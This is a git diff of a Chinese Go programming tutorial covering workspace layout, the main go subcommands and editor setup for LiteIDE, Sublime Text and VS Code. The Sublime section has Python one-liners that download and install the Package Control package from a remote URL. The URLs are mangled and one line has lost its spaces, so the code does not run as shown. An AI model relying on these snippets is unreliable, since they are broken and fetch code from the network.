+import ( + "mymath" + "fmt" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} +``` + +可以看到这个的package是`main`,import里面调用的包是`mymath`,这个就是相对于`$GOPATH/src`的路径,如果是多级目录,就在import里面引入多级目录,如果你有多个GOPATH,也是一样,Go会自动在多个`$GOPATH/src`中寻找。 + +如何编译程序呢?进入该应用目录,然后执行`go build`,那么在该目录下面会生成一个mathapp的可执行文件 +```sh +./mathapp +``` + +输出如下内容 +```sh +Hello, world. Sqrt(2) = 1.414213562373095 +``` + +如何安装该应用,进入该目录执行`go install`,那么在$GOPATH/bin/下增加了一个可执行文件mathapp, 还记得前面我们把`$GOPATH/bin`加到我们的PATH里面了,这样可以在命令行输入如下命令就可以执行 + +```sh +mathapp +``` + +也是输出如下内容 + + Hello, world. Sqrt(2) = 1.414213562373095 + +这里我们展示如何编译和安装一个可运行的应用,以及如何设计我们的目录结构。 + +对于启用go module的Go版本,需要对mod.go进行配置。(使用replace的方式将远程包替换为本地包) + +## 获取远程包 + go语言有一个获取远程包的工具就是`go get`,目前go get支持多数开源社区(例如:GitHub、googlecode、bitbucket、Launchpad) + + go get github.com/astaxie/beedb + +>go get -u 参数可以自动更新包,而且当go get的时候会自动获取该包依赖的其他第三方包 + +通过这个命令可以获取相应的源码,对应的开源平台采用不同的源码控制工具,例如GitHub采用git、googlecode采用hg,所以要想获取这些源码,必须先安装相应的源码控制工具 + +通过上面获取的代码在我们本地的源码相应的代码结构如下 + + $GOPATH + src + |--github.com + |-astaxie + |-beedb + pkg + |--相应平台 + |-github.com + |--astaxie + |beedb.a + +go get本质上可以理解为首先第一步是通过源码工具clone代码到src下面,然后执行`go install` + +在代码中如何使用远程包,很简单的就是和使用本地包一样,只要在开头import相应的路径就可以 + + import "github.com/astaxie/beedb" + +## 程序的整体结构 +通过上面建立的我本地的mygo的目录结构如下所示 + + bin/ + mathapp + pkg/ + 平台名/ 如:darwin_amd64、linux_amd64 + mymath.a + github.com/ + astaxie/ + beedb.a + src/ + mathapp + main.go + mymath/ + sqrt.go + github.com/ + astaxie/ + beedb/ + beedb.go + util.go + +从上面的结构我们可以很清晰的看到,bin目录下面存的是编译之后可执行的文件,pkg下面存放的是应用包,src下面保存的是应用源代码 + + +## links + * [目录]() + * 上一节: [安装Go](<01.1.md>) + * 下一节: [GO 命令](<01.3.md>) diff --git a/zh/01.3.md b/zh/01.3.md index 97d3cac08..6b02ce43f 100644 --- a/zh/01.3.md +++ b/zh/01.3.md @@ -1,204 +1,204 @@ -# 1.3 Go 命令 - -## Go 命令 - - Go语言自带有一套完整的命令操作工具,你可以通过在命令行中执行`go`来查看它们: - - ![](images/1.1.mac.png?raw=true) - -图1.3 Go命令显示详细的信息 - - 这些命令对于我们平时编写的代码非常有用,接下来就让我们了解一些常用的命令。 - -## go build - - 这个命令主要用于编译代码。在包的编译过程中,若有必要,会同时编译与之相关联的包。 - - - 如果是普通包,就像我们在1.2节中编写的`mymath`包那样,当你执行`go build`之后,它不会产生任何文件。如果你需要在`$GOPATH/pkg`下生成相应的文件,那就得执行`go install`。 - - - 如果是`main`包,当你执行`go build`之后,它就会在当前目录下生成一个可执行文件。如果你需要在`$GOPATH/bin`下生成相应的文件,需要执行`go install`,或者使用`go build -o 路径/a.exe`。 - - - 如果某个项目文件夹下有多个文件,而你只想编译某个文件,就可在`go build`之后加上文件名,例如`go build a.go`;`go build`命令默认会编译当前目录下的所有go文件。 - - - 你也可以指定编译输出的文件名。例如1.2节中的`mathapp`应用,我们可以指定`go build -o astaxie.exe`,默认情况是你的package名(非main包),或者是第一个源文件的文件名(main包)。 - - (注:实际上,package名在[Go语言规范](https://golang.org/ref/spec)中指代码中“package”后使用的名称,此名称可以与文件夹名不同。默认生成的可执行文件名是文件夹名。) - - - go build会忽略目录下以“_”或“.”开头的go文件。 - - - 如果你的源代码针对不同的操作系统需要不同的处理,那么你可以根据不同的操作系统后缀来命名文件。例如有一个读取数组的程序,它对于不同的操作系统可能有如下几个源文件: - - array_linux.go - array_darwin.go - array_windows.go - array_freebsd.go - - `go build`的时候会选择性地编译以系统名结尾的文件(Linux、Darwin、Windows、Freebsd)。例如Linux系统下面编译只会选择array_linux.go文件,其它系统命名后缀文件全部忽略。 - -参数的介绍 - -- `-o` 指定输出的文件名,可以带上路径,例如 `go build -o a/b/c` -- `-i` 安装相应的包,编译+`go install` -- `-a` 更新全部已经是最新的包的,但是对标准包不适用 -- `-n` 把需要执行的编译命令打印出来,但是不执行,这样就可以很容易的知道底层是如何运行的 -- `-p n` 指定可以并行可运行的编译数目,默认是CPU数目 -- `-race` 开启编译的时候自动检测数据竞争的情况,目前只支持64位的机器 -- `-v` 打印出来我们正在编译的包名 -- `-work` 打印出来编译时候的临时文件夹名称,并且如果已经存在的话就不要删除 -- `-x` 打印出来执行的命令,其实就是和`-n`的结果类似,只是这个会执行 -- `-ccflags 'arg list'` 传递参数给5c, 6c, 8c 调用 -- `-compiler name` 指定相应的编译器,gccgo还是gc -- `-gccgoflags 'arg list'` 传递参数给gccgo编译连接调用 -- `-gcflags 'arg list'` 传递参数给5g, 6g, 8g 调用 -- `-installsuffix suffix` 为了和默认的安装包区别开来,采用这个前缀来重新安装那些依赖的包,`-race`的时候默认已经是`-installsuffix race`,大家可以通过`-n`命令来验证 -- `-ldflags 'flag list'` 传递参数给5l, 6l, 8l 调用 -- `-tags 'tag list'` 设置在编译的时候可以适配的那些tag,详细的tag限制参考里面的 [Build Constraints](http://golang.org/pkg/go/build/) - -## go clean - - 这个命令是用来移除当前源码包和关联源码包里面编译生成的文件。这些文件包括 - - _obj/ 旧的object目录,由Makefiles遗留 - _test/ 旧的test目录,由Makefiles遗留 - _testmain.go 旧的gotest文件,由Makefiles遗留 - test.out 旧的test记录,由Makefiles遗留 - build.out 旧的test记录,由Makefiles遗留 - *.[568ao] object文件,由Makefiles遗留 - - DIR(.exe) 由go build产生 - DIR.test(.exe) 由go test -c产生 - MAINFILE(.exe) 由go build MAINFILE.go产生 - *.so 由 SWIG 产生 - - 我一般都是利用这个命令清除编译文件,然后github递交源码,在本机测试的时候这些编译文件都是和系统相关的,但是对于源码管理来说没必要。 - - $ go clean -i -n - cd /Users/astaxie/develop/gopath/src/mathapp - rm -f mathapp mathapp.exe mathapp.test mathapp.test.exe app app.exe - rm -f /Users/astaxie/develop/gopath/bin/mathapp - -参数介绍 - -- `-i` 清除关联的安装的包和可运行文件,也就是通过go install安装的文件 -- `-n` 把需要执行的清除命令打印出来,但是不执行,这样就可以很容易的知道底层是如何运行的 -- `-r` 循环的清除在import中引入的包 -- `-x` 打印出来执行的详细命令,其实就是`-n`打印的执行版本 - -## go fmt - - 有过C/C++经验的读者会知道,一些人经常为代码采取K&R风格还是ANSI风格而争论不休。在go中,代码则有标准的风格。由于之前已经有的一些习惯或其它的原因我们常将代码写成ANSI风格或者其它更合适自己的格式,这将为人们在阅读别人的代码时添加不必要的负担,所以go强制了代码格式(比如左大括号必须放在行尾),不按照此格式的代码将不能编译通过,为了减少浪费在排版上的时间,go工具集中提供了一个`go fmt`命令 它可以帮你格式化你写好的代码文件,使你写代码的时候不需要关心格式,你只需要在写完之后执行`go fmt <文件名>.go`,你的代码就被修改成了标准格式,但是我平常很少用到这个命令,因为开发工具里面一般都带了保存时候自动格式化功能,这个功能其实在底层就是调用了`go fmt`。接下来的一节我将讲述两个工具,这两个工具都自带了保存文件时自动化`go fmt`功能。 - -使用go fmt命令,其实是调用了gofmt,而且需要参数-w,否则格式化结果不会写入文件。gofmt -w -l src,可以格式化整个项目。 - -所以go fmt是gofmt的上层一个包装的命令,我们想要更多的个性化的格式化可以参考 [gofmt](http://golang.org/cmd/gofmt/) - -gofmt的参数介绍 - -- `-l` 显示那些需要格式化的文件 -- `-w` 把改写后的内容直接写入到文件中,而不是作为结果打印到标准输出。 -- `-r` 添加形如“a[b:len(a)] -> a[b:]”的重写规则,方便我们做批量替换 -- `-s` 简化文件中的代码 -- `-d` 显示格式化前后的diff而不是写入文件,默认是false -- `-e` 打印所有的语法错误到标准输出。如果不使用此标记,则只会打印不同行的前10个错误。 -- `-cpuprofile` 支持调试模式,写入相应的cpufile到指定的文件 - -## go get - - 这个命令是用来动态获取远程代码包的,目前支持的有BitBucket、GitHub、Google Code和Launchpad。这个命令在内部实际上分成了两步操作:第一步是下载源码包,第二步是执行`go install`。下载源码包的go工具会自动根据不同的域名调用不同的源码工具,对应关系如下: - - BitBucket (Mercurial Git) - GitHub (Git) - Google Code Project Hosting (Git, Mercurial, Subversion) - Launchpad (Bazaar) - - 所以为了`go get` 能正常工作,你必须确保安装了合适的源码管理工具,并同时把这些命令加入你的PATH中。其实`go get`支持自定义域名的功能,具体参见`go help remote`。 - -参数介绍: - -- `-d` 只下载不安装 -- `-f` 只有在你包含了`-u`参数的时候才有效,不让`-u`去验证import中的每一个都已经获取了,这对于本地fork的包特别有用 -- `-fix` 在获取源码之后先运行fix,然后再去做其他的事情 -- `-t` 同时也下载需要为运行测试所需要的包 -- `-u` 强制使用网络去更新包和它的依赖包 -- `-v` 显示执行的命令 - -## go install - - 这个命令在内部实际上分成了两步操作:第一步是生成结果文件(可执行文件或者.a包),第二步会把编译好的结果移到`$GOPATH/pkg`或者`$GOPATH/bin`。 - -参数支持`go build`的编译参数。大家只要记住一个参数`-v`就好了,这个随时随地的可以查看底层的执行信息。 - -## go test - - 执行这个命令,会自动读取源码目录下面名为`*_test.go`的文件,生成并运行测试用的可执行文件。输出的信息类似 - - ok archive/tar 0.011s - FAIL archive/zip 0.022s - ok compress/gzip 0.033s - ... - - 默认的情况下,不需要任何的参数,它会自动把你源码包下面所有test文件测试完毕,当然你也可以带上参数,详情请参考`go help testflag` - -这里我介绍几个我们常用的参数: - -- `-bench regexp` 执行相应的benchmarks,例如 `-bench=.` -- `-cover` 开启测试覆盖率 -- `-run regexp` 只运行regexp匹配的函数,例如 `-run=Array` 那么就执行包含有Array开头的函数 -- `-v` 显示测试的详细命令 - -## go tool -`go tool`下面下载聚集了很多命令,这里我们只介绍两个,fix和vet - -- `go tool fix .` 用来修复以前老版本的代码到新版本,例如go1之前老版本的代码转化到go1,例如API的变化 -- `go tool vet directory|files` 用来分析当前目录的代码是否都是正确的代码,例如是不是调用fmt.Printf里面的参数不正确,例如函数里面提前return了然后出现了无用代码之类的。 - -## go generate -这个命令是从Go1.4开始才设计的,用于在编译前自动化生成某类代码。`go generate`和`go build`是完全不一样的命令,通过分析源码中特殊的注释,然后执行相应的命令。这些命令都是很明确的,没有任何的依赖在里面。而且大家在用这个之前心里面一定要有一个理念,这个`go generate`是给你用的,不是给使用你这个包的人用的,是方便你来生成一些代码的。 - -这里我们来举一个简单的例子,例如我们经常会使用`yacc`来生成代码,那么我们常用这样的命令: - - go tool yacc -o gopher.go -p parser gopher.y - --o 指定了输出的文件名, -p指定了package的名称,这是一个单独的命令,如果我们想让`go generate`来触发这个命令,那么就可以在当然目录的任意一个`xxx.go`文件里面的任意位置增加一行如下的注释: - - //go:generate go tool yacc -o gopher.go -p parser gopher.y - -这里我们注意了,`//go:generate`是没有任何空格的,这其实就是一个固定的格式,在扫描源码文件的时候就是根据这个来判断的。 - -所以我们可以通过如下的命令来生成,编译,测试。如果`gopher.y`文件有修改,那么就重新执行`go generate`重新生成文件就好。 - - $ go generate - $ go build - $ go test - - -## godoc - -在Go1.2版本之前还支持`go doc`命令,但是之后全部移到了godoc这个命令下,需要这样安装`go get golang.org/x/tools/cmd/godoc` - - 很多人说go不需要任何的第三方文档,例如chm手册之类的(其实我已经做了一个了,[chm手册](https://github.com/astaxie/godoc)),因为它内部就有一个很强大的文档工具。 - - 如何查看相应package的文档呢? - 例如builtin包,那么执行`godoc builtin` - 如果是http包,那么执行`godoc net/http` - 查看某一个包里面的函数,那么执行`godoc fmt Printf` - 也可以查看相应的代码,执行`godoc -src fmt Printf` - - 通过命令在命令行执行 godoc -http=:端口号 比如`godoc -http=:8080`。然后在浏览器中打开`127.0.0.1:8080`,你将会看到一个golang.org的本地copy版本,通过它你可以查询pkg文档等其它内容。如果你设置了GOPATH,在pkg分类下,不但会列出标准包的文档,还会列出你本地`GOPATH`中所有项目的相关文档,这对于经常被墙的用户来说是一个不错的选择。 - -## 其它命令 - - go还提供了其它很多的工具,例如下面的这些工具 - - go version 查看go当前的版本 - go env 查看当前go的环境变量 - go list 列出当前全部安装的package - go run 编译并运行Go程序 - -以上这些工具还有很多参数没有一一介绍,用户可以使用`go help 命令`获取更详细的帮助信息。 - - -## links - * [目录]() - * 上一节: [GOPATH与工作空间](<01.2.md>) - * 下一节: [Go开发工具](<01.4.md>) +# 1.3 Go 命令 + +## Go 命令 + + Go语言自带有一套完整的命令操作工具,你可以通过在命令行中执行`go`来查看它们: + + ![](images/1.1.mac.png?raw=true) + +图1.3 Go命令显示详细的信息 + + 这些命令对于我们平时编写的代码非常有用,接下来就让我们了解一些常用的命令。 + +## go build + + 这个命令主要用于编译代码。在包的编译过程中,若有必要,会同时编译与之相关联的包。 + + - 如果是普通包,就像我们在1.2节中编写的`mymath`包那样,当你执行`go build`之后,它不会产生任何文件。如果你需要在`$GOPATH/pkg`下生成相应的文件,那就得执行`go install`。 + + - 如果是`main`包,当你执行`go build`之后,它就会在当前目录下生成一个可执行文件。如果你需要在`$GOPATH/bin`下生成相应的文件,需要执行`go install`,或者使用`go build -o 路径/a.exe`。 + + - 如果某个项目文件夹下有多个文件,而你只想编译某个文件,就可在`go build`之后加上文件名,例如`go build a.go`;`go build`命令默认会编译当前目录下的所有go文件。 + + - 你也可以指定编译输出的文件名。例如1.2节中的`mathapp`应用,我们可以指定`go build -o astaxie.exe`,默认情况是你的package名(非main包),或者是第一个源文件的文件名(main包)。 + + (注:实际上,package名在[Go语言规范](https://golang.org/ref/spec)中指代码中“package”后使用的名称,此名称可以与文件夹名不同。默认生成的可执行文件名是文件夹名。) + + - go build会忽略目录下以“_”或“.”开头的go文件。 + + - 如果你的源代码针对不同的操作系统需要不同的处理,那么你可以根据不同的操作系统后缀来命名文件。例如有一个读取数组的程序,它对于不同的操作系统可能有如下几个源文件: + + array_linux.go + array_darwin.go + array_windows.go + array_freebsd.go + + `go build`的时候会选择性地编译以系统名结尾的文件(Linux、Darwin、Windows、Freebsd)。例如Linux系统下面编译只会选择array_linux.go文件,其它系统命名后缀文件全部忽略。 + +参数的介绍 + +- `-o` 指定输出的文件名,可以带上路径,例如 `go build -o a/b/c` +- `-i` 安装相应的包,编译+`go install` +- `-a` 更新全部已经是最新的包的,但是对标准包不适用 +- `-n` 把需要执行的编译命令打印出来,但是不执行,这样就可以很容易的知道底层是如何运行的 +- `-p n` 指定可以并行可运行的编译数目,默认是CPU数目 +- `-race` 开启编译的时候自动检测数据竞争的情况,目前只支持64位的机器 +- `-v` 打印出来我们正在编译的包名 +- `-work` 打印出来编译时候的临时文件夹名称,并且如果已经存在的话就不要删除 +- `-x` 打印出来执行的命令,其实就是和`-n`的结果类似,只是这个会执行 +- `-ccflags 'arg list'` 传递参数给5c, 6c, 8c 调用 +- `-compiler name` 指定相应的编译器,gccgo还是gc +- `-gccgoflags 'arg list'` 传递参数给gccgo编译连接调用 +- `-gcflags 'arg list'` 传递参数给5g, 6g, 8g 调用 +- `-installsuffix suffix` 为了和默认的安装包区别开来,采用这个前缀来重新安装那些依赖的包,`-race`的时候默认已经是`-installsuffix race`,大家可以通过`-n`命令来验证 +- `-ldflags 'flag list'` 传递参数给5l, 6l, 8l 调用 +- `-tags 'tag list'` 设置在编译的时候可以适配的那些tag,详细的tag限制参考里面的 [Build Constraints](http://golang.org/pkg/go/build/) + +## go clean + + 这个命令是用来移除当前源码包和关联源码包里面编译生成的文件。这些文件包括 + + _obj/ 旧的object目录,由Makefiles遗留 + _test/ 旧的test目录,由Makefiles遗留 + _testmain.go 旧的gotest文件,由Makefiles遗留 + test.out 旧的test记录,由Makefiles遗留 + build.out 旧的test记录,由Makefiles遗留 + *.[568ao] object文件,由Makefiles遗留 + + DIR(.exe) 由go build产生 + DIR.test(.exe) 由go test -c产生 + MAINFILE(.exe) 由go build MAINFILE.go产生 + *.so 由 SWIG 产生 + + 我一般都是利用这个命令清除编译文件,然后GitHub递交源码,在本机测试的时候这些编译文件都是和系统相关的,但是对于源码管理来说没必要。 + + $ go clean -i -n + cd /Users/astaxie/develop/gopath/src/mathapp + rm -f mathapp mathapp.exe mathapp.test mathapp.test.exe app app.exe + rm -f /Users/astaxie/develop/gopath/bin/mathapp + +参数介绍 + +- `-i` 清除关联的安装的包和可运行文件,也就是通过go install安装的文件 +- `-n` 把需要执行的清除命令打印出来,但是不执行,这样就可以很容易的知道底层是如何运行的 +- `-r` 循环的清除在import中引入的包 +- `-x` 打印出来执行的详细命令,其实就是`-n`打印的执行版本 + +## go fmt + + 有过C/C++经验的读者会知道,一些人经常为代码采取K&R风格还是ANSI风格而争论不休。在go中,代码则有标准的风格。由于之前已经有的一些习惯或其它的原因我们常将代码写成ANSI风格或者其它更合适自己的格式,这将为人们在阅读别人的代码时添加不必要的负担,所以go强制了代码格式(比如左大括号必须放在行尾),不按照此格式的代码将不能编译通过,为了减少浪费在排版上的时间,go工具集中提供了一个`go fmt`命令 它可以帮你格式化你写好的代码文件,使你写代码的时候不需要关心格式,你只需要在写完之后执行`go fmt <文件名>.go`,你的代码就被修改成了标准格式,但是我平常很少用到这个命令,因为开发工具里面一般都带了保存时候自动格式化功能,这个功能其实在底层就是调用了`go fmt`。接下来的一节我将讲述两个工具,这两个工具都自带了保存文件时自动化`go fmt`功能。 + +使用go fmt命令,其实是调用了gofmt,而且需要参数-w,否则格式化结果不会写入文件。gofmt -w -l src,可以格式化整个项目。 + +所以go fmt是gofmt的上层一个包装的命令,我们想要更多的个性化的格式化可以参考 [gofmt](http://golang.org/cmd/gofmt/) + +gofmt的参数介绍 + +- `-l` 显示那些需要格式化的文件 +- `-w` 把改写后的内容直接写入到文件中,而不是作为结果打印到标准输出。 +- `-r` 添加形如“a[b:len(a)] -> a[b:]”的重写规则,方便我们做批量替换 +- `-s` 简化文件中的代码 +- `-d` 显示格式化前后的diff而不是写入文件,默认是false +- `-e` 打印所有的语法错误到标准输出。如果不使用此标记,则只会打印不同行的前10个错误。 +- `-cpuprofile` 支持调试模式,写入相应的cpufile到指定的文件 + +## go get + + 这个命令是用来动态获取远程代码包的,目前支持的有BitBucket、GitHub、Google Code和Launchpad。这个命令在内部实际上分成了两步操作:第一步是下载源码包,第二步是执行`go install`。下载源码包的go工具会自动根据不同的域名调用不同的源码工具,对应关系如下: + + BitBucket (Mercurial Git) + GitHub (Git) + Google Code Project Hosting (Git, Mercurial, Subversion) + Launchpad (Bazaar) + + 所以为了`go get` 能正常工作,你必须确保安装了合适的源码管理工具,并同时把这些命令加入你的PATH中。其实`go get`支持自定义域名的功能,具体参见`go help remote`。 + +参数介绍: + +- `-d` 只下载不安装 +- `-f` 只有在你包含了`-u`参数的时候才有效,不让`-u`去验证import中的每一个都已经获取了,这对于本地fork的包特别有用 +- `-fix` 在获取源码之后先运行fix,然后再去做其他的事情 +- `-t` 同时也下载需要为运行测试所需要的包 +- `-u` 强制使用网络去更新包和它的依赖包 +- `-v` 显示执行的命令 + +## go install + + 这个命令在内部实际上分成了两步操作:第一步是生成结果文件(可执行文件或者.a包),第二步会把编译好的结果移到`$GOPATH/pkg`或者`$GOPATH/bin`。 + +参数支持`go build`的编译参数。大家只要记住一个参数`-v`就好了,这个随时随地的可以查看底层的执行信息。 + +## go test + + 执行这个命令,会自动读取源码目录下面名为`*_test.go`的文件,生成并运行测试用的可执行文件。输出的信息类似 + + ok archive/tar 0.011s + FAIL archive/zip 0.022s + ok compress/gzip 0.033s + ... + + 默认的情况下,不需要任何的参数,它会自动把你源码包下面所有test文件测试完毕,当然你也可以带上参数,详情请参考`go help testflag` + +这里我介绍几个我们常用的参数: + +- `-bench regexp` 执行相应的benchmarks,例如 `-bench=.` +- `-cover` 开启测试覆盖率 +- `-run regexp` 只运行regexp匹配的函数,例如 `-run=Array` 那么就执行包含有Array开头的函数 +- `-v` 显示测试的详细命令 + +## go tool +`go tool`下面下载聚集了很多命令,这里我们只介绍两个,fix和vet + +- `go tool fix .` 用来修复以前老版本的代码到新版本,例如go1之前老版本的代码转化到go1,例如API的变化 +- `go tool vet directory|files` 用来分析当前目录的代码是否都是正确的代码,例如是不是调用fmt.Printf里面的参数不正确,例如函数里面提前return了然后出现了无用代码之类的。 + +## go generate +这个命令是从Go1.4开始才设计的,用于在编译前自动化生成某类代码。`go generate`和`go build`是完全不一样的命令,通过分析源码中特殊的注释,然后执行相应的命令。这些命令都是很明确的,没有任何的依赖在里面。而且大家在用这个之前心里面一定要有一个理念,这个`go generate`是给你用的,不是给使用你这个包的人用的,是方便你来生成一些代码的。 + +这里我们来举一个简单的例子,例如我们经常会使用`yacc`来生成代码,那么我们常用这样的命令: + + go tool yacc -o gopher.go -p parser gopher.y + +-o 指定了输出的文件名, -p指定了package的名称,这是一个单独的命令,如果我们想让`go generate`来触发这个命令,那么就可以在当前目录的任意一个`xxx.go`文件里面的任意位置增加一行如下的注释: + + //go:generate go tool yacc -o gopher.go -p parser gopher.y + +这里我们注意了,`//go:generate`是没有任何空格的,这其实就是一个固定的格式,在扫描源码文件的时候就是根据这个来判断的。 + +所以我们可以通过如下的命令来生成,编译,测试。如果`gopher.y`文件有修改,那么就重新执行`go generate`重新生成文件就好。 + + $ go generate + $ go build + $ go test + + +## godoc + +在Go1.2版本之前还支持`go doc`命令,但是之后全部移到了godoc这个命令下,需要这样安装`go get golang.org/x/tools/cmd/godoc` + + 很多人说go不需要任何的第三方文档,例如chm手册之类的(其实我已经做了一个了,[chm手册](https://github.com/astaxie/godoc)),因为它内部就有一个很强大的文档工具。 + + 如何查看相应package的文档呢? + 例如builtin包,那么执行`godoc builtin` + 如果是http包,那么执行`godoc net/http` + 查看某一个包里面的函数,那么执行`godoc fmt Printf` + 也可以查看相应的代码,执行`godoc -src fmt Printf` + + 通过命令在命令行执行 godoc -http=:端口号 比如`godoc -http=:8080`。然后在浏览器中打开`127.0.0.1:8080`,你将会看到一个golang.org的本地copy版本,通过它你可以查询pkg文档等其它内容。如果你设置了GOPATH,在pkg分类下,不但会列出标准包的文档,还会列出你本地`GOPATH`中所有项目的相关文档,这对于经常被墙的用户来说是一个不错的选择。 + +## 其它命令 + + go还提供了其它很多的工具,例如下面的这些工具 + + go version 查看go当前的版本 + go env 查看当前go的环境变量 + go list 列出当前全部安装的package + go run 编译并运行Go程序 + +以上这些工具还有很多参数没有一一介绍,用户可以使用`go help 命令`获取更详细的帮助信息。 + + +## links + * [目录]() + * 上一节: [Go Module, GOPATH与工作空间](<01.2.md>) + * 下一节: [Go开发工具](<01.4.md>) diff --git a/zh/01.4.md b/zh/01.4.md index d89422103..cc291d141 100644 --- a/zh/01.4.md +++ b/zh/01.4.md @@ -1,640 +1,648 @@ -# 1.4 Go开发工具 - -本节我将介绍几个开发工具,它们都具有自动化提示,自动化fmt功能。因为它们都是跨平台的,所以安装步骤之类的都是通用的。 - -## LiteIDE - - LiteIDE是一款专门为Go语言开发的跨平台轻量级集成开发环境(IDE),由visualfc编写。 - - ![](images/1.4.liteide.png?raw=true) - -图1.4 LiteIDE主界面 - -**LiteIDE主要特点:** - -* 支持主流操作系统 - * Windows - * Linux - * MacOS X -* Go编译环境管理和切换 - * 管理和切换多个Go编译环境 - * 支持Go语言交叉编译 -* 与Go标准一致的项目管理方式 - * 基于GOPATH的包浏览器 - * 基于GOPATH的编译系统 - * 基于GOPATH的Api文档检索 -* Go语言的编辑支持 - * 类浏览器和大纲显示 - * Gocode(代码自动完成工具)的完美支持 - * Go语言文档查看和Api快速检索 - * 代码表达式信息显示`F1` - * 源代码定义跳转支持`F2` - * Gdb断点和调试支持 - * gofmt自动格式化支持 -* 其他特征 - * 支持多国语言界面显示 - * 完全插件体系结构 - * 支持编辑器配色方案 - * 基于Kate的语法显示支持 - * 基于全文的单词自动完成 - * 支持键盘快捷键绑定方案 - * Markdown文档编辑支持 - * 实时预览和同步显示 - * 自定义CSS显示 - * 可导出HTML和PDF文档 - * 批量转换/合并为HTML/PDF文档 - -**LiteIDE安装配置** - -* LiteIDE安装 - * 下载地址 - * 源码地址 - - 首先安装好Go语言环境,然后根据操作系统下载LiteIDE对应的压缩文件直接解压即可使用。 - -* 编译环境设置 - - 根据自身系统要求切换和配置LiteIDE当前使用的环境变量。 - - 以Windows操作系统,64位Go语言为例, - 工具栏的环境配置中选择win64,点`编辑环境`,进入LiteIDE编辑win64.env文件 - - GOROOT=c:\go - GOBIN= - GOARCH=amd64 - GOOS=windows - CGO_ENABLED=1 - - PATH=%GOBIN%;%GOROOT%\bin;%PATH% - 。。。 - - 将其中的`GOROOT=c:\go`修改为当前Go安装路径,存盘即可,如果有MinGW64,可以将`c:\MinGW64\bin`加入PATH中以便go调用gcc支持CGO编译。 - - 以Linux操作系统,64位Go语言为例, - 工具栏的环境配置中选择linux64,点`编辑环境`,进入LiteIDE编辑linux64.env文件 - - GOROOT=$HOME/go - GOBIN= - GOARCH=amd64 - GOOS=linux - CGO_ENABLED=1 - - PATH=$GOBIN:$GOROOT/bin:$PATH - 。。。 - - 将其中的`GOROOT=$HOME/go`修改为当前Go安装路径,存盘即可。 - -* GOPATH设置 - - Go语言的工具链使用GOPATH设置,是Go语言开发的项目路径列表,在命令行中输入(在LiteIDE中也可以`Ctrl+,`直接输入)`go help gopath`快速查看GOPATH文档。 - - 在LiteIDE中可以方便的查看和设置GOPATH。通过`菜单-查看-GOPATH`设置,可以查看系统中已存在的GOPATH列表, - 同时可根据需要添加项目目录到自定义GOPATH列表中。 - -## Sublime Text - - 这里将介绍Sublime Text 3(以下简称Sublime)+GoSublime + gocode的组合,那么为什么选择这个组合呢? - - - 自动化提示代码,如下图所示 - - ![](images/1.4.sublime1.png?raw=true) - - 图1.5 sublime自动化提示界面 - - - 保存的时候自动格式化代码,让您编写的代码更加美观,符合Go的标准。 - - 支持项目管理 - - ![](images/1.4.sublime2.png?raw=true) - - 图1.6 sublime项目管理界面 - - - 支持语法高亮 - - Sublime Text 3可免费使用,只是保存次数达到一定数量之后就会提示是否购买,点击取消继续用,和正式注册版本没有任何区别。 - - -接下来就开始讲如何安装,下载[Sublime](http://www.sublimetext.com/) - - 根据自己相应的系统下载相应的版本,然后打开Sublime,对于不熟悉Sublime的同学可以先看一下这篇文章[Sublime Text 全程指南](http://blog.jobbole.com/88648/)或者[sublime text3入门教程](http://blog.csdn.net/sam976/article/details/52076271) - - 1. 打开之后安装 Package Control:Ctrl+` 打开命令行,执行如下代码: - - 适用于 Sublime Text 3: - -```Go - import urllib.request,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib.request.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()) -``` - 适用于 Sublime Text 2: - -```Go - import urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read());print('Please restart Sublime Text to finish installation') -``` - - 这个时候重启一下Sublime,可以发现在在菜单栏多了一个如下的栏目,说明Package Control已经安装成功了。 - - ![](images/1.4.sublime3.png?raw=true) - - 图1.7 sublime包管理 - - - 2. 安装完之后就可以安装Sublime的插件了。需安装GoSublime、SidebarEnhancements和Go Build,安装插件之后记得重启Sublime生效,Ctrl+Shift+p打开Package Controll 输入`pcip`(即“Package Control: Install Package”的缩写)。 - - 这个时候看左下角显示正在读取包数据,完成之后出现如下界面 - - ![](images/1.4.sublime4.png?raw=true) - - 图1.8 sublime安装插件界面 - - 这个时候输入GoSublime,按确定就开始安装了。同理应用于SidebarEnhancements和Go Build。 - - 3. 安装[gocode](https://github.com/nsf/gocode/) - - go get -u github.com/nsf/gocode - - gocode 将会安装在默认`$GOBIN` - - 另外建议安装gotests(生成测试代码): - - - 先在sublime安装gotests插件,再运行: - - ```Go - go get -u -v github.com/cweill/gotests/... - - ``` - - 3. 验证是否安装成功,你可以打开Sublime,打开main.go,看看语法是不是高亮了,输入`import`是不是自动化提示了,`import "fmt"`之后,输入`fmt.`是不是自动化提示有函数了。 - - 如果已经出现这个提示,那说明你已经安装完成了,并且完成了自动提示。 - - 如果没有出现这样的提示,一般就是你的`$PATH`没有配置正确。你可以打开终端,输入gocode,是不是能够正确运行,如果不行就说明`$PATH`没有配置正确。 - (针对XP)有时候在终端能运行成功,但sublime无提示或者编译解码错误,请安装sublime text3和convert utf8插件试一试 - - 4. MacOS下已经设置了$GOROOT, $GOPATH, $GOBIN,还是没有自动提示怎么办。 - - 请在sublime中使用command + 9, 然后输入env检查$PATH, GOROOT, $GOPATH, $GOBIN等变量, 如果没有请采用下面的方法。 - - 首先建立下面的连接, 然后从Terminal中直接启动sublime - - ln -s /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl /usr/local/bin/sublime - - -## Visual Studio Code - -vscode是微软基于Electron和web技术构建的开源编辑器, 是一款很强大的编辑器。开源地址:https://github.com/Microsoft/vscode - -1、安装Visual Studio Code 最新版 - -官方网站:https://code.visualstudio.com/ -下载Visual Studio Code 最新版,安装过程略。 - -2、安装Go插件 - -点击右边的Extensions图标 -搜索Go插件 -在插件列表中,选择 Go,进行安装,安装之后,系统会提示重启Visual Studio Code。 - -建议把自动保存功能开启。开启方法为:选择菜单File,点击Auto 